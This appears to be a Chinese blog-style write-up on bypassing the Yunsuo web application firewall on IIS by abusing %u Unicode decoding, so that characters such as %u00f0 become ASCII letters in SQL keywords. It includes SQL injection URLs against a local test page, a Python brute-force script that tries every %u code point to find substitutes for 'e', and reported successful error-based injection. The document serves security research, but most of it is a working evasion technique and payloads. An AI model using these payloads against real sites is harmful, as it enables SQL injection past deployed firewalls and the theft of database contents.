一个有意思的通用windows防火墙bypass(云锁为例)--select中e的字母能否被-u的其

2:IIS在对%u0011形式的内容的时候,是可以解析的,例如url为:

code 区域
      http://192.168.15.130/letmetest.asp?t=152522098 and(select top 1  eventname_en from eventshelp)>0
    

将url编码为:

code 区域
      
        http://192.168.15.130/letmetest.asp?t=152522098 and(s
        %u0065
        lect top 1  eventname_en from eventshelp)>0
      
    

s%u0065lect的形式的时候也会被iis解析为select
3:于是先在本地搭建了一个云锁的环境,iis版本,本机使用了windows2003的环境,并且创建了一个有漏洞的页面http://192.168.15.130/letmetest.asp
4:先用以上方式去访问 %u0065的方式,此时发现云锁此种情况过滤了.
5:这里应该%uxxxx可以填写65535次个字符,会不会有不同国家的编码select对应解析出来成为ascii的select
6:代码:

code 区域
      import httplib
import re

url = '192.168.15.130'
payload = '/letmetest.asp?t=152522098/**/%u00aand(s%u'

for i in range(65536):
result = hex(i).replace('0x','')
if len(result)<4:
c = 4-len(result)
b = '0'*c
zz = b + hex(i).replace('0x','')
else:
zz = hex(i).replace('0x','')
test = '%slect/**/count(*)/**/from/**/eventshelp)>0' % zz
conn = httplib.HTTPConnection(url)
try:
conn.request('GET',payload+test)
res = conn.getresponse().read()

if re.search('Acunetix',res):
print 'test char:char(%s)' % zz
except:
pass

就是测试select中e的字母能否被%u的其他字符替代

7:测试结果:

字符%u00f0被当成e字符了,输入s%u00f0lect 被iis解析滞后成了select,这样绕过了云锁的防御。

8:使用%u0065访问,直接被云锁干掉了

9:使用%u0095访问,直接报错注入,出来内容了

图片中的and中的a,也用同样的方式处理了。

10:IIS的新UNICODE漏洞WideChar和MultiByte字符转换问题

code 区域
      http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html
    


11: 传入的是widechar,widechar iis可以处理,会被转换。这里转换的时候会出现一个问题。

code 区域
      多个widechar会有可能转换为同一个字符。
    


12:测试发现有些字符是会出现的,有些就不会出现多个转换成一个的情况,但是对于检测来说,往往只需要一个字符,即可达到绕过规则的目的。